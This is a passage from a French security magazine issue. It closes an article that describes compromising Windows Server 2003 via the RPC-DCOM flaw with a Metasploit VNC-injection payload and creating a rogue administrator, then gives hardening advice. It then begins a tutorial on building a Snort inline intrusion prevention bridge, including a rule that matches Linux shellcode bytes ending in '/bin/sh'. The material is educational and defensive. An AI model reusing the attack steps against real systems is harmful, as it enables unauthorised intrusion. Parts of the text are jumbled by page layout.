paramètres passés dans la fonction, ce qui vous permet d'abuser du mécanisme structuré d'exceptions en contournant la protection de la pile. Exploitation Désormais dotés de l'armure nécessaire pour exploiter le tout nouveau système Windows, vous pouvez dès à présent vous introduire dans le système. Par souci de clarté, vous vous concentrerez plus particulièrement sur Metasploit, exemple intéressant en raison des fonctionnalités qu'il propose. Vous allez analyser un exemple de vulnérabilité afin d'obtenir des privilèges complets sur la boîte de Windows Server 2003. Les lecteurs sont libres de découvrir d'autres vulnérabilités selon le scénario. Il y a bien des vulnérabilités dans l'interface RPC (voir l'Enca- Sécurité de Windows Server 2003 dré Service RPC-DCOM) chargée d'implémenter les services de Modèles d'Objet Composant Distribué ou Distributed Component Object Model (DCOM), chargés d'écouter les ports activés du RPC. Cette interface permet de manipuler les requêtes d'activation d'objets DCOM envoyées par des machines clients au serveur. La vulnérabilité de ce service provient d'une manipulation incorrecte des messages non valides dans une fonction responsable de l'instanciation des objets DCOM. Un pirate parvenant à exploiter cette vulnérabilité serait alors capable d'exécuter du code au moyen des privilèges du Système Local sur un système affecté. Le pirate pourrait alors lancer n'importe quelle action sur le système, comme l'installation de programmes, la visualisation des modifications ou la suppression des données, ou la création de nouveaux comptes dotés de privilèges complets. Cette vulnérabilité a été initialement mentionnée par le groupe de recherches Last Stage of Delirium, puis a été largement exploitée par la suite. Sans s'arrêter sur la manière d'accéder à Metasploit, on va directement vous présenter comment exploiter la boîte de Windows Server 2003 au moyen d'exemple de vulnérabilité mentionné plus haut. La charge sélectionnée est win32_reverse_vncinject. Il s'agit d'une charge d'injection DLL sur serveur VNC. Cette charge vous permettra d'accéder immédiatement au bureau d'un système exploité en utilisant n'importe quelle exploitation de Win32. La DLL est chargée dans le processus distant au moyen de n'importe quel système de chargeurs, démarrée sous forme d'un nouveau flux de travail dans le processus exploité, et chargée d'écouter les requêtes de clients VNC sur la même interface de connexion utilisée pour charger la DLL. Le cadre d'applications se contente d'écouter sur une interface de connexion locale un Figure 1. Bureau Distant, session VNC démarrée avec succès Figure 2. Fenêtre d'invite de commande sur le PC distant www.hakin9.org hakin9 Nº 1/2006 43 Focus client VNC ainsi que les données des serveurs mandataires au travers de la connexion de charge au serveur. En mode lecture seule, l'utilisateur du cadre d'applications peut visualiser les contenus du bureau, sans toutefois interagir avec. Si un accès complet avait été obtenu, le serveur VNC engendrerait alors une console de commande sur le bureau avec les privilèges du service exploité, ce qui peut se révéler très utile dans les situations où un utilisateur nonprivilégié se trouve sur le bureau interactif, alors que le service exploité fonctionne avec les privilèges du Système. Commencez par obtenir une console sur la machine attaquée (voir la Figure 1). Puis, lancez l'Explorer à partir de la fenêtre d'invite de commande (explorer.exe), comme illustré dans la Figure 2. Puis, créez un utilisateur valide VAX sur le système, et lui affectez les privilèges du groupe Administrateur (voir la Figure 3). Finissez par être connectés au système en tant qu'utilisateur VAX (voir la Figure 4). À partir de maintenant, il est possible d'exploiter de nombreux vecteurs pour lancer des attaques et des assauts supplémentaires sur le réseau. Figure 3. Création d'un utilisateur VAX Guide de protection Il ne faut pas évoquer de manière exhaustive tous les mécanismes de protection dans le présent article. On va donc présenter ici les méthodologies de protection classiques. N'oubliez pas que le système Windows Server 2003 est proposé avec un bon nombre de réglages de sécurité par défaut, qui devraient être vérifiés avant toute connexion. La meilleure façon de contrôler ces réglages est d'aller sur http:// www.microsoft.com afin de télécharger le Guide de Sécurité de Windows Server 2003. Il s'agit d'un guide classique et exhaustif, vous expliquant comment verrouiller et renforcer la sécurité de Windows Server 2003, et de ses services, et vous présentant un grand nombre Figure 4. Accès complet 44 hakin9 Nº 1/2006 www.hakin9.org Sécurité de Windows Server 2003 Liste de contrôle de sécurité pour Windows Server 2003 Suivez les étapes ci-dessous afin d'améliorer la sécurité de votre système Windows Server 2003. Pour plus de détails, veuillez consulter le Guide de Sécurité de Windows Server 2003. Sécurité du système de fichiers • • • Minimiser les permissions NTFS pour le groupe EVERYONE. Au niveau du lecteur logique, réinitialiser, puis propager les permissions suivantes : • Contrôle total pour les Administrateurs, • Contrôle total pour les CREATOR OWNER, • Permissions de modifier, lire/exécuter, classer les contenus de dossiers et d'écrire pour les utilisateurs authentifiés, • Supprimer et propager TOUTES les permissions des utilisateurs authentifiés du répertoire système. Permettre aux utilisateurs authentifiés de modifier, lire/exécuter, classer les contenus des dossiers et d'écrire sur : • \Documents and Settings\, • répertoire caché\WINNT\Installer, • \WINNT\System32\Config\, • \WINNT\Repair. Sécurité du réseau • • Désactiver les services généralement non nécessaires pour les serveurs, parmi lesquels : • Client DHCP, • Service Fax, • Partage de connexion Internet, • Message Intersites, • Service d'inscription à distance, • Service RunAs, • Simples services TCP/IP, • Telnet, • Gestionnaire d'utilitaires. Désinstaller les protocoles tels que IPX/SPX et NetBIOS, sauf nécessité absolue. Sécurité de l'utilisateur • • • Désactiver le compte Guest et affecter des mots de passe forts. Désactiver le compte TsInternetUser et affecter des mots de passe forts. Renommer le compte Administrator. Sécurité du système • • • Ne pas contrôler Hide file extensions for known file types. Télécharger et installer toutes les mises à jour importantes à partir de http:// windowsupdate.microsoft.com. Télécharger et lancer l'Analyseur de Sécurité de Ligne de Base de Microsoft (Microsoft Baseline Security Analyzer, ou MBSA). Voir le Listing 2 pour un exemple de renforcement de sécurité TCP/IP. d'outils, de modèles et d'autres éléments à faire fonctionner. Ce guide contient à peu près tout ce qu'il faut savoir pour verrouiller le système Windows Server 2003, ainsi que n'importe quel service susceptible d'y être installé. Alors que le produit est extrêmement sécurisé lors de son installation par défaut, il existe un www.hakin9.org Listing 2. Clés à modifier ou à ajouter afin de renforcer la sécurité TCP/IP sous Windows Server 2003 HKEY_LOCAL_MACHINE\SYSTEM\ § CurrentControlSet\Services: Key: Tcpip\Parameters Value: SynAttackProtect Value Type: REG_DWORD Parameter: 1 Key: Tcpip\Parameters Value: EnableDeadGWDetect Value Type: REG_DWORD Parameter: 0 Key: Tcpip\Parameters Value: EnablePMTUDiscovery Value Type: REG_DWORD Parameter: 0 Key: Tcpip\Parameters Value: KeepAliveTime Value Type: REG_DWORD Parameter: 300,000 Key: Netbt\Parameters Value: NoNameReleaseOnDemand Value Type: REG_DWORD Parameter: 1 HKEY_LOCAL_MACHINE\SYSTEM\ § CurrentControlSet\Control: Key: Lsa Value: RestrictAnonymous Value Type: REG_DWORD Parameter: 2 Key: SecurePipeServers Value: RestrictAnonymous Value Type: REG_DWORD Parameter: 1 certain nombre d'options de sécurité pouvant être configurées plus en avant en fonction d'exigences bien spécifiques. Ce guide propose non seulement des recommandations, mais donne des informations essentielles sur le risque que le réglage engendre généralement, ainsi que sur l'impact que peut avoir une option configurée sur un environnement. Avant de lire ce guide, on va vous présenter une simple liste de contrôle de sécurité (voir l'Encadré Liste de contrôle de sécurité pour Windows Server hakin9 Nº 1/2006 45 Focus 2003), puis en réaliser les étapes les plus importantes. Vous trouverez un exemple de procédure de sécurité pour un serveur Web dans l'Encadré Renforcement de la sécurité du serveur Web. Conclusion Les partisans de la seule philosophie du principe du moindre privilège en matière de sécurité se félicitent de voir Microsoft proposer un environnement livré clé en main plus verrouillé sur Windows Server 2003, mais ne sont pas encore totalement satisfaits. La question, comme toujours, est la suivante : à quelle quantité d'accessibilité les utilisateurs et les administrateurs sont-ils prêts à renoncer pour plus de sécurité ? Certains administrateurs Web se plaignent déjà du système intégré d'information, version 6.0, en raison du trop grand nombre de fonctions désactivées par défaut, détériorant ainsi la fonctionnalité de l'application. Pendant les formations de sécurité, ceux qui ont opté pour des produits à haute sécurité apprennent que la somme qu'ils ont déboursée comprend la formation nécessaire à leur utilisation. Or ceci s'applique également aux nouveaux systèmes d'exploitation et applications hautement sécurisés : la phase d'apprentissage devient de plus en plus importante. Ce n'est pas forcément un inconvénient, mais il est essentiel qu'un tel compromis soit bien compris en amont. La sécurité se paie, et ce prix représente l'accessibilité. Dans le monde dangereux dans lequel nous vivons aujourd'hui (que ce soit en ligne, ou en mode déconnecté), il s'agira toujours d'un prix acceptable. Avec les progrès des techniques d'exploitations de Windows, permettant de contourner la protection mise en place sur Windows Server 2003, Microsoft doit également relever le défi de proposer des couches ajoutées de sécurité afin de conserver la confiance des utilisateurs. En dépit des prodigieuses améliorations réalisées par rapport à ces prédécesseurs, 46 hakin9 Nº 1/2006 Renforcement de la sécurité du serveur Web L'exemple décrit ci-dessous est composé des étapes classiques à suivre, au moment d'utiliser Windows Server 2003 en tant que serveur Web avec le système intégré d'informations, version 6.0. • • • • • • • • • • • • • • • • • • • • • • • • Lors d'une toute nouvelle installation, le serveur ne devrait pas être connecté au réseau avant d'avoir appliqué des mesures de renforcement de sécurité. Dès le premier niveau, choisissez la partition NTFS, puis paramétrez les réglages du panneau Regional et déterminez un mot de passe administrateur fort. Dans les réglages réseau du Groupe de Travail ou du Domaine de l'Ordinateur, choisissez No, this computer is not on a network… Entrez, dans l'espace blanc, un groupe de travail vide ([ALT-255 ]). Installez les composants de l'application serveur, si vous prévoyez de contrôler le serveur au moyen de SNMP (voir dans Outils de Gestion et de Contrôle). Téléchargez (sur un système à part), puis installez tous les programmes de corrections adaptés à partir du service Windows Update. Le serveur est désormais prêt à être connecté au réseau. Installez un moteur d'antivirus et mettez-le à jour, afin d'activer de manière automatique la mise à jour des signatures. Le serveur SSH peut être installé pour une gestion à distance. Dans ce cas, le nombre maximum de connexions autorisées doit être paramétré sur 2. Dans l'onglet Cryptage, veillez à ce que les éléments suivants soient bien activés : Chiffreurs : AnyStdCipher, Codes d'authentification de message : AnyStdMac. Dans l'onglet Tunnelisation : autorisez la tunnellisation TCP. Dans l'Authentification Utilisateur -> onglet Mot de Passe. Veillez à ce que la boîte Permit empty Passwords ne soit pas cochée. Téléchargez puis installez URLScan. Désactivez NetBIOS sur TCP/IP. Dans la chaîne de la Communauté SNMP, veillez à ce que Send authentication trap soit bien coché. Vérifiez également que les droits de la communauté soient en lecture seule, et choisissez un mot de passe fort. Acceptez les formulaires de paquets SNMP issus des hôtes sélectionnés, où l'adresse du réseau SNMP est ajoutée. Paramétrez la politique IPsec. Configurez les services du terminal pour un cryptage haute définition. Choisissez Do not allow remote control, décochez Use Connection Settings From User Settings et décochez Connect Client Printers at Logon et Default to Main Client Printer. Appliquez le fichier .inf du Serveur Web Haute Sécurité à partir de http:// www.eastcarymassive.com/w2k3/www-w2k3-dmz.inf puis lancez MMC (Démarrer -> Exécuter -> MMC). Pour les réglages du système intégré d'information, version 6.0, créez une sauvegarde, puis activez la connexion. Ajoutez également des contrôles sur les Cookies et les Referers. Supprimez l'ensemble des extensions des applications (.asa, .asp, .cdx, .cer, .idc, .shtm, .shtml, .stm), puis ajoutez-les si nécessaire. Pour toutes les extensions rajoutées, prévoyez de limiter les verbes HTTP que les extensions acceptent. À la place d'utiliser tous les verbes (DELETE, GET, HEAD, POST et TRACE) il est possible de n'utiliser que GET pour les Static Web Pages et POST si votre site comporte des formulaires. Cette manœuvre est conforme au principe du moindre privilège. Désactivez le site Web par défaut et choisissez l'ensemble minimum de permissions pour le site Web en décochant la boîte Run scripts (tels que ASP). Contrôlez et supprimez tous les répertoires d'échantillons du système intégré d'information, puis supprimez l'Impression Internet. Dans le dossier Network -> Network Configurations, modifiez la valeur de Prohibit use of Internet Connection Sharing on your DNS Domain Network to enabled d'un clic droit et sélectionnez Enable. Renommez, puis modifiez le mot de passe du compte IUSR_<machinename>. Modifiez le site Web, afin de pouvoir utiliser le compte IUSR et le mot de passe correspondant. Enfin, et c'est le plus important, réglez les permissions du dossier et du fichier NTFS. www.hakin9.org À propos de l'auteur Rudra Kamal Sinha Roy travaille dans le domaine de la sécurité depuis un certain nombre d'années et est employé actuellement chez iViZ Techno Solutions, société de sécurité informatique basée en Inde. Il a mené un grand nombre d'audits sur la sécurité informatique de différentes sociétés mondiales. Il préside également l'OWASP (Open Web Application Security Project) et Kolkata chapter. Son engagement à mener des formations pratiques sur le Piratage Ethique a été crucial. Il a également contribué à élaborer l'ISSAF (Internet Systems Security Assessment Framework), norme mondialement reconnue en matière de traitement de la sécurité. Remerciement et crédits Je tiens à remercier les personnes suivantes : Nilanjan De, Abhisek Datta. Dans l’article, on a utilisé des passages préparés par Nicolas Falliere et Deb Shinder. Je voudrais également remercier HD Moore du projet Metasploit pour m'avoir permis d'utiliser des captures d'écran. Mes remerciement sincères au travail de recherches réalisé par David Litchfield, Halvar Flake, Alexander Anisimov et leur contribution inestimable dans les techniques d'exploitation de Windows. Windows a encore du chemin à faire. Heureusement, Microsoft travaille actuellement sur un projet (nom de code R2), importante mise à jour de Windows Server 2003, dont la sortie était prévue fin 2005, ou probablement début 2006, au plus tard. On verra à ce moment là, si cette mise à jour apportera les éléments capables de sécuriser le système. Windows Longhorn Server est le nom de code du prochain système d'exploitation serveur de Microsoft. Il succèdera à Windows Server 2003, et prendra certainement le nom de Windows Server 2007. Il est également prévu que Windows Server 2007 soit livré avec WinFS, sous-système de stockage Windows, annulé sous Windows Vista en raison de contraintes de temps, mais probablement intégré au Pack de Service Windows Vista. Il s'agira d'une relation similaire à celle entre Windows XP et Windows Server 2003. Reste à confirmer la sécurité que ce programme est réellement capable d'offrir (puisque Microsoft travaille sur des améliorations de la sécurité) face à un monde où la sécurité évolue rapidement. l Sur Internet • • • • • • • http://www.microsoft.com/windowsserver2003/default.mspx – Microsoft Widows Server 2003, http://www.microsoft.com/windowsserver2003/technologies/default.mspx – Technologies centrales de Windows Server 2003, http://windowsnetworking.com/ – site particulièrement intéressant pour lire des articles relatifs à Windows, http://securityfocus.com/microsoft/images/winheapoverflow.c – Débordement du tas par concept de la preuve, http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt –Présentation des Exploitations de troisième Génération, http://www.maxpatrol.com/defeating-xpsp2-heap-protection.pdf – Lien vers l'article intitulé Defeating Windows XP SP2 Heap protection and DEP bypass, http://www.metasploit.com – Projet Metasploit. www.hakin9.org hakin9 Nº 1/2006 47 Système IPS basé sur Snort Prattique Michał Piotrowski Degré de difficulté Pour se protéger contre les attaques sur les systèmes informatiques, le plus souvent on utilise les pare-feux ; et pour surveiller les attaques – les systèmes de détection d'intrusions. Pourtant, la détection des intrus ne suffit point. Cela ne servira à rien de détecter une attaque, si l'on n'est pas capable de la faire échouer. La solution est de construire un système de prévention des attaques – cet article explique comment construire un tel système et comment le maintenir. L es outils les plus populaires servant à protéger les réseaux informatiques contre les attaques des cyberpirates sont les pare-feux et les systèmes de détection d'intrusions (IDS, en anglais Intrusion Detection Systems). Tandis que le fonctionnement des pare-feux consiste à contrôler les paquets arrivants vers le réseau, les systèmes de détection d'intrusions analysent le contenu de ces paquets et au moment où une irrégularité ou une information caractéristique pour l'attaque est détectée, ils donnent l'alerte. Pourtant, le niveau de sécurité atteint par le biais de cette technique n'est pas satisfaisant. Tout d'abord, le pare-feu doit laisser passer une partie du trafic – si non, la connexion d'un réseau protégé avec le reste du monde n'a aucun sens, et l'attaque peut avoir lieu justement sur le service qui est accessible. Évidemment, le système IDS est capable de détecter une attaque qu’un pare-feu a laissé passé par, mais tout en étant un simple observateur, il n'est pas capable de la faire échouer, donc sa présence n'aura qu'une valeur informative. Bien sûr, il est possible de coupler le système IDS avec un pare-feu pour bloquer en temps réel les tentatives de pénétration ou le configurer de 48 hakin9 Nº 1/2006 façon à ce qu'il interrompe les connexions suspectes. Hélas, une telle solution a beaucoup de défauts. Premièrement, beaucoup d'attaques consistent à envoyer seulement un ou quelques paquets. Dans la plupart des cas, les attaques de type DoS sur un programme ou un système plantant après la réception des données spécialement préparées à cet effet, ou les attaques de débordement de tampon contraignant le système attaqué à établir une connexion de retour avec l'ordinateur de l'intrus réussiront, même si le système IDS envoie au pare-feu l'information Cet article explique... • • ce-qu’est un système de prévention des attaques, comment installer, configurer et maintenir un système IPS basé sur le programme Snort. Ce qu'il faut savoir... • • www.hakin9.org notions de base de l'administration du système Linux, notions de base du fonctionnement du réseau TCP/IP. Construisez un système de prévention d'intrusions Netfilter Le mécanisme netfilter est un soussystème du noyau de Linux permettant le filtrage, la modification des paquets et la traduction des adresses réseau (en anglais Network Address Translation – NAT). Il est apparu dans les noyaux de la série 2.4 et est toujours développé dans la série 2.6. Pour configurer les règles de filtrage ou de traduction, on utilise le programme fonctionnant dans l'espace utilisateur appelé iptables. Mais il faut savoir que ce n'est pas un seul moyen de contrôler les règles de filtrage du trafic réseau dans le noyau du système. sur le blocage de l'adresse IP donnée. Deuxièmement, l'intrus peut exploiter cette propriété de l'IDS pour bloquer un groupe d'adresses donné en simulant les attaques provenant de celles-ci. La solution très efficace de ces problèmes sont les systèmes de prévention d'intrusions – IPS (en anglais Intrusion Prevention System) qui intègrent les pare-feux et les systèmes de détection d'intrusion (IDS). Les systèmes IPS sont implantés dans le réseau de la même façon que les pare-feux – sur le chemin des paquets, de façon à ce que toutes les données envoyées sur le réseau passent par celui. L'IPS analyse ces données du point de vue des propriétés caractéristiques aux types des attaques connus et en fonction de leur classification, il les laissent passer ou les bloquent. Il existe beaucoup de solutions IPS sur le marché. Leurs prix sont différents : de quelques jusqu'à quelques milles dollars. Essayez de construire votre propre système IPS basé sur les programmes disponibles généralement sur Internet. Outils Dans cet article le système sera basé sur Linux avec le noyau en version 2.6.12.6. C'est important car les noyaux de la série 2.6 supportent la création des ponts réseau, tandis que les noyaux 2.4 exigent pour cela des correctifs appropriés. La distribution de Linux n'est pas ici Figure 1. La place du système IPS dans le réseau essentielle. Ce qui est important, c'est que cela soit une installation assez simple, dépourvue de Xwindow, d'applications multimédias et d'autres outils de ce type. Le cœur de notre IPS sera le programme open source Snort IDS en version 2.4.0. C'est un programme très avancé, utilisé dans quelques systèmes IDS/IPS commerciaux. Quant à vous, servirez-vous de la version 2.4.0 parce qu'elle est intégrée au projet snort_inline permettant de télécharger les paquets non via la librairie libpcap, comme cela a lieu dans la configuration standard de Snort, mais via le mécanisme netfilter et le programme iptables. De plus, vous aurez besoin de quelques bibliothèques et outils. Avant tout, ce sont les bibliothèques libnet 1.0.x, LIBIPQ et le programme bridge-utils. La bibliothèque LIBIPQ appartient au paquet iptables et vous la trouverez dans les modules supplémentaires de développement ou installerez à partir des sources, en installant iptables par la commande make install-devel. Utiliserez aussi le programme Oinkmaster qui permettra la mise à jour automatique de la base de signatures. L'ordinateur sur lequel vous lancerez l'IPS, est muni de trois cartes réseaux. Seulement une d'elles aura l'adresse IP affectée et elle servira à la gestion de la machine. Deux autres seront configurées uniquement jusqu'à la couche 2 du modèle OSI et les paquets envoyés sur le www.hakin9.org réseau seront transférés entre elles. Ainsi, votre IPS constituera un pont, transparent pour les autres périphériques et ordinateurs. Le schéma d'un réseau après la connexion de l'IPS de ce type est présenté sur la Figure 1. Dans cet article, on ne construit pas tout le réseau présenté – on se concentrera à la création du périphérique IPS. Construction d'un pont Le pont réseau (en anglais bridge) est un équipement qui fonctionne dans la couche de liaison des données du modèle OSI et sert à relier différents segments du réseau informatique. Il existe deux principaux avantages d'utilisation du pont comme IPS ou pare-feu : • • Configuration simple – elle est due au fait que le pont ne possède pas d'adresses IP et peut être placé à l'intérieur du réseau sans changement de l'adressage ou du routage sur d'autres périphériques. La connection de l'IPS de ce type est similaire à la connexion d'un commutateur ordinaire. Sécurité – consiste à ce que le périphérique soit transparent, alors pratiquement indétectable par différents types de scanneurs. Il n'a pas d'adresse IP, alors il est impossible de s'y connecter et de l'attaquer. Il est vrai qu'on peut exploiter la faille dans les programmes IPS qui, par exemple, plante au moment du traitement du paquet spéciale- hakin9 Nº 1/2006 49 Pratique ment conçu à cet effet, mais heureusement, les problèmes de ce type n'arrivent pas trop souvent. Commencez la transformation de votre ordinateur en pont par configurer deux interfaces réseau de l'IPS de façon à ce qu'elles échangent les paquets entre elles. Pour ce faire, vous devez compiler le noyau avec les options présentées dans le Listing 1. Après le redémarrage du système, ajoutez une nouvelle interface virtuelle br0 et lui affectez les interfaces réelles eth0 et eth1, en tapant les commandes suivantes : # ifconfig eth0 0.0.0.0 up # ifconfig eth1 0.0.0.0 up # brctl addbr br0 # brctl addif br0 eth0 # brctl addif br0 eth1 # ifconfig br0 0.0.0.0 up Configurez également l'interface eth2, servant à gérer le périphérique : Types de systèmes IPS Le périphérique présenté est un système réseau de détection des intrusions (NIPS, en anglais Network Intrusion Prevention System). Actuellement, c'est le type de systèmes IPS le plus populaire. D'autres systèmes de ce type sont : • • Commutateurs de septième couche (de l'anglais Layer Seven Switches) – ce sont les périphériques très similaires à l'IPS présenté. En général, ils servent à répartir les charges sur plusieurs dispositifs, mais sont aussi capables d'arrêter les paquets sélectionnés à partir d'une base de règles. IPS d'application (HIPS, en anglais Host Intrusion Prevention System) – ce sont des solutions logicielles, installées localement sur chaque station protégée qui sont intégrées au système d'exploitation et surveillent le fonctionnement des autres applications. Ils permettent de protéger le système contre les dangers les plus connus, comme les débordement de tampon, les virus, les chevaux de Troie ou les logiciels espions. au programme de travailler en mode inline. Ainsi, Snort pourra être situé sur le chemin des paquets. La configuration, la compilation et l'installation du programme sont effectuées au moyen des commandes suivantes : $ ./configure --enable-inline $ make # make install # ifconfig eth2 10.0.0.1 \ netmask 255.255.255.0 up Dès ce moment, tous les paquets vus par l'interface eth0 seront envoyés vers les segments du réseau de l'autre côté de l'IPS à travers l'interface eth1 et vice-versa. La carte eth2 a une adresse IP affectée et elle permet de se loguer à distance sur le périphérique. Installation de Snort L'installation de Snort est une installation standard. Pourtant, pendant la configuration du paquet, il faut ajouter l'option --enable-inline, qui permettra Ensuite, il faut créer le répertoire /etc/snort et y metter tous les fichiers de configuration nécessaires : # cp classification.config \ gen-msg.map \ generators \ reference.config \ sid sid-msg.map \ snort.conf \ threshold.conf \ unicode.map \ /etc/snort À la fin, il faut modifier le fichier de configuration principal snort.conf. Listing 1. La configuration du noyau du système Device Drivers Networking support Networking options <*> 802.1d Ethernet Bridging Network packet filtering (replaces ipchains) <*> Bridged IP/ARP packets filtering IP: Netfilter Configuration <*> Userspace queueing via NETLINK <*> IP tables support (required for filtering/masq/NAT) Bridge: Netfilter Configuration <*> Ethernet Bridge tables (ebtables) support 50 hakin9 Nº 1/2006 www.hakin9.org Avant tout, vous ne disposez pas encore de signatures d'attaques, commentez donc toutes les lignes ajoutant les fichiers de signatures qui se trouvent à la fin du fichier et qui ont la forme include $RULE _ PATH/ *.rules (le début de la ligne est précédé du caractère #). Changez aussi la valeur de la variable définissant le répertoire comprenant ces fichiers de var RULE _ PATH ../rules en var RULE _ PATH /etc/snort/rules. Vérification des signatures Les règles d'attaques que l'on peut télécharger à partir du site de Snort sont divisées en trois groupes : les signatures payables (subscription rules), les signatures nécessitant l'enregistrement (registration rules) et les signatures universellement disponibles (unregistered rules). Vu que les règles universellement disponibles ne sont mises à jour qu'au moment de l'édition de la version successive de Snort et l'accès aux règles payables doit être régulièrement acquitté – il est préférable d'utiliser les règles disponibles après l'enregistrement. Mais avant de télécharger et d'installer les règles, testez tout ce que vous avez réussi à construire jusqu'alors. Vous créerez quelques exemples de signature qui vous permettront de connaître les possibilités de votre IPS. Pour cela, vous exploiterez trois nouvelles types de règles– disponibles uniquement en version inline – définissant les Construisez un système de prévention d'intrusions actions entreprises par Snort au moment du lancement de la signature. Ce sont : • • • drop – Snort enregistrera le fait de l'apparition du paquet qui correspond à la signature et enverra à l'iptables le signal de refus. sdrop – le paquet sera refusé, mais l'information sur ce fait ne sera pas enregistrée. reject – le paquet sera refusé et enregistré et la connexion interrompue (RST en cas du protocole TCP) ou le paquet ICMP Port Unreachable sera envoyé (en cas du protocole UDP). Pour que les règles de type reject soient capables de réinitialiser les connexions, il faut ajouter au fichier de configuration l'option config layer2resets, grâce à laquelle l'IPS enverra les paquets de réinitialisation à partir des interfaces ne possédant pas d'adresse IP. Par défaut, l'adresse MAC source dans ces paquets est l'adresse de la carte réseau d'entrée, mais vous pouvez la modifier au moyen de l'option config layer2resets: 00:01:02:03:04:05. La première signature se présente ainsi : drop tcp any any -> any 22 (classtype:attempted-user; msg: 22 Connection Initiated";). C'est une règle très simple qui reconnaît, bloque et enregistre tous les paquets TCP passant par l'IPS qui sont destinés au port 22. En résultat, l'IPS empêchera l'établissement des connexions aux serveurs SSH. Le Listing 2 présente la notation dans le journal d'évènements qui sera créée par Snort après avoir intercepté les paquets correspondant à la signature. Comme vous pouvez voir, c'est le paquet SYN qui commence le processus d'établissement de la connexion du protocole TCP. La seconde règle : alert icmp "Port any any <> any attempted-user; Request"; any (classtype: msg:"ICMP icode:0; Echo itype:8;) reconnaîtra et enregistrera tous les paquets ICMP de type Echo Request. Les fichiers journaux de Snort contiendront la notation Listing 2. La réaction de Snort à la première signature [**] [1:0:0] Port 22 Connection Initiated [**] [Classification: Attempted User Privilege Gain] [Priority: 1] 09/19-20:19:07.436667 192.168.0.2:1049 -> 193.219.28.2:22 TCP TTL:128 TOS:0x0 ID:702 IpLen:20 DgmLen:48 DF ******S* Seq: 0x29821EB9 Ack: 0x0 Win: 0xFAF0 TcpLen: 28 TCP Options (4) => MSS: 1460 NOP NOP SackOK Listing 3. La réaction de Snort à la deuxième signature [**] [1:0:0] ICMP Echo Request [**] [Classification: Attempted User Privilege Gain] [Priority: 1] 09/19-20:12:57.194560 192.168.0.2 -> 212.76.32.1 ICMP TTL:128 TOS:0x0 ID:420 IpLen:20 DgmLen:60 Type:8 Code:0 ID:512 Seq:256 ECHO Listing 4. La réaction de Snort à la troisième signature [**] [1:0:0] DNS Request [**] [Classification: Attempted User Privilege Gain] [Priority: 1] 09/19-20:21:12.989775 192.168.0.2:1041 -> 212.76.39.45:53 UDP TTL:128 TOS:0x0 ID:818 IpLen:20 DgmLen:59 Len: 31 similaire à celle présentée dans le Listing 3. La dernière signature de test est la plus intéressante : alert udp any any <> any 53 (classtype:attempteduser; msg:"DNS Request"; content: Cette règle détectera et enregistrera tous les paquets UDP à destination du port 53, c'est-à-dire du serveur DNS qui contiennent la chaîne de caractères yahoo. Les paquets seront laissés passés par l'IPS, mais le mot yahoo sera changé en lycos. C'est le champ replace dans la signature qui en est responsable ; il définit en quoi sera changé le contenu du champ content. En résultat, quand une requête concernera l'adresse www.yahoo.com, le serveur DNS répondra par l'adresse IP du serveur www.lycos.com, et les journaux contiendront l'information présentée dans le Listing 4. Cette propriété de Snort inline est fort utile dans la protection des systèmes honeypot, quand vous voulez que l'intrus y pénètre, mais ne soit pas capables d'effectuer une attaque efficace contre un ordinateur du réseau. Il suffit de modifier dans le système IPS la "yahoo"; replace:"lycos";). www.hakin9.org signature reconnaissant le shellcode de façon affichée dans le Listing 5 et toutes les attaques qui lui ressemblent ne réussiront pas. Toutes les règles ci-dessus doivent être placées dans le répertoire /etc/snort/rules dans le fichier test.rules, et à la fin du fichier /etc/snort/snort.conf, ajoutez la ligne include $RULE _ PATH/test.rules. Configurez l'iptables de façon à ce que les paquets passent à travers Snort et lancez ce dernier : # iptables -P FORWARD DROP # iptables -A FORWARD -j QUEUE # snort -Q \ -c /etc/snort/snort.conf \ -l /var/log/snort -v La dernière commande lance Snort en mode inline (option -Q). La configuration est téléchargée à partir du fichier /etc/snort/snort.conf (-c), et les journaux sont sauvegardés dans le répertoire /var/log/snort (-l). Pendant les tests, servez-vous aussi de l'option -v, grâce à laquelle l'IPS fonctionne en mode information et affiche beaucoup de messages qui permettent de vous faire une idée précise des erreurs commises. hakin9 Nº 1/2006 51 Pratique Listing 5. Une simple modification de la signature corrompra le shellcode et empêchera l'attaque efficace Avant la modification : alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any § (msg:"SHELLCODE Linux shellcode"; § content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; § reference:arachnids,343; classtype:shellcode-detect; sid:652; rev:9;) Après la modification : alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any § (msg:"SHELLCODE Linux shellcode"; § content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; § replace:"|90 90 90 E8 C0 FF FF FF|/ben/sh"; § reference:arachnids,343; classtype:shellcode-detect; sid:652; rev:9;) Configuration de l'iptables Pour diriger les données envoyées via le réseau vers un programme dans l'espace utilisateur, vous avez utilisé la commande iptables -A FORWARD -j QUEUE qui embrasse le flux de données entier. En résultat, tous les paquets passant par l'IPS seront analysés. Mais vous pouvez observer seulement les connexions choisies. Par exemple, si vous voulez que Snort n'effectue la recherche que dans les paquets envoyés vers les serveurs Web, vous pouvez utiliser la commande iptables -A FORWARD -p tcp --dport 80 -j L'option -v sera remplacée par -D, ainsi, Snort fonctionnera en tâche de fond comme démon. Installation des règles officielles Il est temps de munir votre système de prévention d'attaques de signatures officielles des attaques. Vu que vous allez vous servir des signatures disponibles pour les utilisateurs enregistrés, vous devez créer un compte utilisateur sur le site de Snort. Une fois ce compte créé, vous téléchargerez les signatures récentes, les déplacerez vers le répertoire /etc/snort et les décompacterez. L'action par défaut entreprise par Snort pour toutes les règles consiste à enregistrer l'attaque détectée (directive alert). Étant donné que vous avez l'intention de bloquer ces attaques, vous devez modifier toutes les règles, en changeant l'action alert en drop. Pour ce faire, tapez la commande : $ for f in `ls *.rules` ;\ do sed s/^alert/drop/g \ $f > ${f}.new ; \ mv ${f}.new $f ; \ done Il faut aussi corriger la partie finale du fichier snort.conf de façon à ce que les signatures soient chargées lors du démarrage du programme (on a commenté toutes les lignes activant les fichiers de signature). À la fin, vous lancez Snort : 52 hakin9 Nº 1/2006 QUEUE. # snort -Q -D \ -c /etc/snort/snort.conf \ -l /var/log/snort Mais il ne faut pas oublier que l'installation d'un nouveau système IPS dans l'environnement réseau et l'activation du blocage pour toutes les règles n'est pas recommandée. Tous les périphériques IDS/IPS doivent être ajustés à un réseau concret pour éliminer de fausses alarmes qui apparaissent toujours au début de leur fonctionnement. Si vous forcez le système à bloquer tout ce qui lui paraît suspect sans lui apprendre la spécificité 